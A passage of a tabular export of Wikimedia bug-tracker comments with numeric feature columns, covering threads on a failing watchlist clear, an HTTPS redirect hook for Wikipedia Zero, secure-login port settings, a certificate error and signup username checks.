+Jesús' workaround is one option; I have provided a pywikibot-based option in https://bugzilla.wikimedia.org/show_bug.cgi?id=64074 .",,,1405276345,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+302953,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",Sounds like we might need to break large very deletions into batches or something. Bah.,,,1402076248,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-56,True,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+302947,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","(In reply to UP from comment #3)
+> Would it be possible to make a .js action thingy (to use on personal .js
+> files) for the /clear page that removes, say, the first 2500 lines of the
+> list at a time, until the bug gets a proper fix?
+
+You can use this script to unwatch items of your watchlist in batch:
+
+https://www.mediawiki.org/wiki/User:Ciencia_Al_Poder/unwatchapi.js
+
+Just preview that script in your personal JS. The progress is written in the browser's debug console",,,1402073583,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-56,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+302939,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**ab.zachaeus** wrote:
+
+@Andre Klapper, #39510 is about editing the watchlist, this is about clearing it. Those are two different tools. (Three actually but it seems original reporter for #39510 didn't specify which of the editing tools was failing for them, if not both.)
+
+On a semi-related note, I'm on my way to do an experiment to see what thresholds I can get for edit tools (and possibly the clear tool) failing. I'll be back soon.",,,1402073444,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,False,,,-56,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0
+302933,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503",What exactly is the difference to bug 39510?,,,1402067791,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-56,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+302928,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**ab.zachaeus** wrote:
+
+Would it be possible to make a .js action thingy (to use on personal .js files) for the /clear page that removes, say, the first 2500 lines of the list at a time, until the bug gets a proper fix?",,,1402066970,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,False,,,-56,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+302925,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","**ab.zachaeus** wrote:
+
+(In reply to Jesús Martínez Novo (Ciencia Al Poder) from comment #1)
+> If you try it again, does it happen consistently?
+> 
+> A /clear is supposed to be more lightweight, but still, the problem may be
+> in the database server, because it needs to remove 41k+ rows of a large
+> table on a single transaction, although a database server error should
+> normally trigger the usual WSOD (""this site is experiencing technical
+> difficulties"")
+
+Yes, I've tried about five times now, about three or four hours apart.",,,1402016346,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,False,,,-56,True,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+302920,"Clearing large (39k+) watchlist @ Special:EditWatchlist/clear fails, HTTP error 503","If you try it again, does it happen consistently?
+
+A /clear is supposed to be more lightweight, but still, the problem may be in the database server, because it needs to remove 41k+ rows of a large table on a single transaction, although a database server error should normally trigger the usual WSOD (""this site is experiencing technical difficulties"")",,,1401999084,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-lxtlzycgrykh72kfvh64,task_subcomment,,True,c3,1,True,,,-56,True,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,0
+67567,Add hook to prohibit HTTP -> HTTPS redirect,"Whenever user has forceHTTPS cookie, any request that comes in via HTTP is automatically redirected to HTTPS. This behaviour is ok for most of the usecases, but it causes countless grievances in the zero-land for the following scenario:
+
+User logs in (or obtains forceHTTPS cookie via some other means) while browsing *.wikipedia.org on WiFi or mobile network. At some point, they discover that their carrier offers wikipedia for free via *.zero.wikipedia.org. They try to navigate there, only to discover that they get an error screen due to using HTTPS (which is not supported by zero most of the time). They report it to the carrier, carrier, complains to us, and we have to explain to them that the only way for the user to use us ever since they got tainted by the ""forceHTTPS"" is to clear their browser's cookie storage.
+
+In order to prevent the unnesesary grievance by many users (and we have heard a lot of this scenario), Zero extension needs to intercept http->https redirect. This redirect happens before most of the code, hence a new hook is needed, as implemented in Change-Id: If04c83066c5d4.
+
+The redirect will be canceled only for the case of valid traffic from Zero partner , exclusivelly to *.zero. subdomain.
+
+Please note that we are not breaking existing functionality here since zero hasn't had a valid SSL certificate until a week ago, and regardless, we do not currently support authentication or editing via zero subdomain.
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal",Medium,50.0,1400630100,1404596882.0,PHID-USER-esrrkc2rlizdlae443wg,False,,False,PHID-TASK-upakxlfj2bmsussepc7j,task_description,resolved,True,c3,1,True,False,True,-59,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+296491,Add hook to prohibit HTTP -> HTTPS redirect,"(In reply to Yuri Astrakhan from comment #1)
+> Two pending patches:
+> Core: If04c83066c5d4
+> Zero: Ia8b620282bb01
+
+Yuri: Both merged. What's left here?",,,1404595854,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-upakxlfj2bmsussepc7j,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1
+296486,Add hook to prohibit HTTP -> HTTPS redirect,"Two pending patches:
+Core: If04c83066c5d4
+Zero: Ia8b620282bb01",,,1400694528,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-upakxlfj2bmsussepc7j,task_subcomment,,True,c3,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+67184,wgSecureLogin does not play nicely with HTTPS on non-standard port,"If you have HTTPS configured to run on a non-standard port (eg 4430 rather than 443) and you have $wgSecureLogin enabled, clicking on the 'login' link does not work.
+
+This is problematic particularly for the 'https' role in mediawiki-vagrant (https://gerrit.wikimedia.org/r/#/c/132702/) since with vagrant, you cannot forward ports < 1024.
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal",Medium,50.0,1399809240,1400886719.0,PHID-USER-jh2oguhshocanixqvlfk,False,,False,PHID-TASK-lxucw73vzsbnzlgfea7o,task_description,resolved,True,c3,1,False,False,True,-60,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+303611,wgSecureLogin does not play nicely with HTTPS on non-standard port,"Change 132799 merged by jenkins-bot:
+Make HTTPS port configurable
+
+https://gerrit.wikimedia.org/r/132799",,,1400885226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxucw73vzsbnzlgfea7o,task_subcomment,,True,c3,1,False,,,-58,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+303607,wgSecureLogin does not play nicely with HTTPS on non-standard port,"Change 132801 had a related patch set uploaded by Awjrichards:
+Enable https-related mw configuration
+
+https://gerrit.wikimedia.org/r/132801",,,1399811973,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxucw73vzsbnzlgfea7o,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+303602,wgSecureLogin does not play nicely with HTTPS on non-standard port,"Change 132799 had a related patch set uploaded by Awjrichards:
+Make HTTPS port configurable
+
+https://gerrit.wikimedia.org/r/132799",,,1399811261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lxucw73vzsbnzlgfea7o,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+66977,https://wg.en.wikipedia.org is using an invalid certificate,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=62181",Medium,50.0,1399415940,1403657585.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_description,resolved,True,c3,1,False,False,True,-61,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+306789,https://wg.en.wikipedia.org is using an invalid certificate,https://gerrit.wikimedia.org/r/#/c/134939/ is merged and deployed,,,1403657585,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-54,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+306784,https://wg.en.wikipedia.org is using an invalid certificate,to clarify: http://wg-en.wikipedia.org/ will not have the certificate problem because that is covered by the *.wikipedia.org cert while wg.en was not.,,,1400796939,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-58,True,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+306778,https://wg.en.wikipedia.org is using an invalid certificate,"Reedy made http://wg-en.wikipedia.org work
+
+next we'll want an Apache redirect from old to now",,,1400796622,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-58,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+306774,https://wg.en.wikipedia.org is using an invalid certificate,"(In reply to Andre Klapper from comment #2)
+> Liangent: Are you fine with changing the purpose of this ticket from fixing
+> the cert to moving that wiki to a saner address that's not under
+> en.wikipedia.org?
+
+I don't actually care. Local community / users of that wiki should be consulted.
+
+I just discovered this wiki accidentally.",,,1400780508,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,False,,,-58,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+306770,https://wg.en.wikipedia.org is using an invalid certificate,Liangent: Are you fine with changing the purpose of this ticket from fixing the cert to moving that wiki to a saner address that's not under en.wikipedia.org?,,,1400779617,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-58,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+306764,https://wg.en.wikipedia.org is using an invalid certificate,"honestly, this should not even exist, afaik wikipedia.org should contain only actual language versions of the encyclopedia, not meta projects. this should move to something like wg-en.wikiMedia.org and that will also solve the cert issue.  (we can't just have *.*.wikipedia.org anyways)",,,1400779535,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-jcpkdjijtrn7a6wye2pd,task_subcomment,,True,c3,1,True,,,-58,True,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+66728,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","When registering as a new user, the name you choose is checked as soon as you leave the name-textfield.  If you choose a name that's actively in use, you get the warning:
+
+""Username entered already in use. Please choose a different name.""
+
+This should also catch registered usernames that are inactive (have no edits?).  Currently those aren't caught until the form is submitted. 
+
+In those cases, you get a different error after submission:
+
+""[...] the requested username is already taken in the unified login system""
+
+(This is on most WM wikis. Some have checks for name-similarity which evaluate first.)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70058",Medium,50.0,1398992040,1496077535.0,PHID-USER-fgzcdbj3je3ksnhufo47,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_description,resolved,True,c3,1,False,False,False,-61,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+1910439,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","Change 283847 **abandoned** by Bartosz Dziewoński:
+%%%[mediawiki/core@master] [WIP] Update signup form validation to use AuthManager%%%
+Reason:
+%%%Done in https://gerrit.wikimedia.org/r/324969%%%
+https://gerrit.wikimedia.org/r/283847",,,1651696661,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,False,,,356,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+866655,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","That change has been merged. Testing with the example given above (T66728#710599), this seems indeed resolved.
+{F8211232}
+",,,1496077535,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,True,,,99,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+772629,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted",Will be fixed by https://gerrit.wikimedia.org/r/#/c/324969.,,,1481000834,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,True,,,74,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+663544,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","Change 283847 had a related patch set uploaded (by Gergő Tisza):
+[WIP] Update signup form validation to use AuthManager
+
+[[https://gerrit.wikimedia.org/r/283847]]
+",,,1463476078,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+663542,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","AuthManager providers can implement `testUserForCreation( $user, $isAutocreation )` and/or `testUserExists( $username )`. Patch for CentralAuth is https://gerrit.wikimedia.org/r/#/c/284499/",,,1463475996,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,3,True,,,45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+307713,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","Switching the api would still leave the problem of AntiSpoof, TitleBlacklist and anything else hooking AbortNewAccount not being done in the pre-submit call as well.",,,1409085256,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-45,True,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+307706,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","From irc:
+<  csteipp>	 Yeah, there's a centralauth api that is similar to the list=users api...
+<  csteipp>	 bd808: https://fr.wikipedia.org/w/api.php?action=query&meta=globaluserinfo&guiuser=BryanDavis
+
+So switching from the list=users api to the meta=globaluserinfo api might be a good way to fix this for WMF wikis. That leaves the problem of doing the right thing on wikis where globaluserinfo isn't installed:
+
+* https://wikimediafoundation.org/w/api.php?action=query&meta=globaluserinfo&guiuser=BryanDavis",,,1409085109,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,1
+307701,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","(From dup bug 70058)
+> The check in
+> resources/src/mediawiki.special/mediawiki.special.userlogin.signup.js that
+> attempts to help the user choose an available username is not aware of
+> CentralAuth accounts that have not been attached to the local wiki. This is
+> due to the use of /w/api.php?action=query&list=users to power the check.
+> 
+> Example:
+> 
+> *
+> http://en.wikipedia.org/w/api.php?action=query&list=users&ususers=BryanDavis
+> *
+> http://fr.wikipedia.org/w/api.php?action=query&list=users&ususers=BryanDavis
+> 
+> The conflict will be noticed when the form is submitted, but it would be
+> nicer if users were warned about global user conflicts by the pre-submit
+> validation.",,,1409082524,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+307696,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted",*** Bug 70058 has been marked as a duplicate of this bug. ***,,,1409082451,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+307690,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","See also bug 40648 (for AntiSpoof and TitleBlacklist)
+
+Looks like bug 34447 was only about the core part, not extensions like CentralAuth with SUL and global accounts. When a global account does not exist an that local wiki, the check will not working.",,,1399033676,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-61,True,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+307685,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","Hmm, I thought this was fixed by bug 34447",,,1399030392,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-61,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+307680,"""Username in use by unified login system"" warning not appearing until after the signup form is submitted","""unified login system"" -> that is SUL and that is part of CentralAuth extension.
+
+At the moment the extensions are missing on that check, so also AntiSpoof or the TitleBlacklist are missing.
+
+But I am not sure, if that should be fixed in core (by calling the existing checks per api) or in each extension (by calling each api seperatly), so keeping it in core first. See bug 61416 for the core change.",,,1399013662,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-45m7dk2vcbw6hzsa6dtc,task_subcomment,,True,c3,1,True,,,-61,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+66627,lighttpd redirects URLs of directories without a trailing slash from https to http,"+++ This bug was initially created as a clone of Bug #59926 +++
+
+lighttpd redirects URLs of directories without a trailing slash from https to http, i. e.:
+
+| [tim@passepartout ~]$ curl -I https://tools.wmflabs.org/matthewrbowker/cnrd
+| HTTP/1.1 301 Moved Permanently
+| Server: nginx/1.5.0
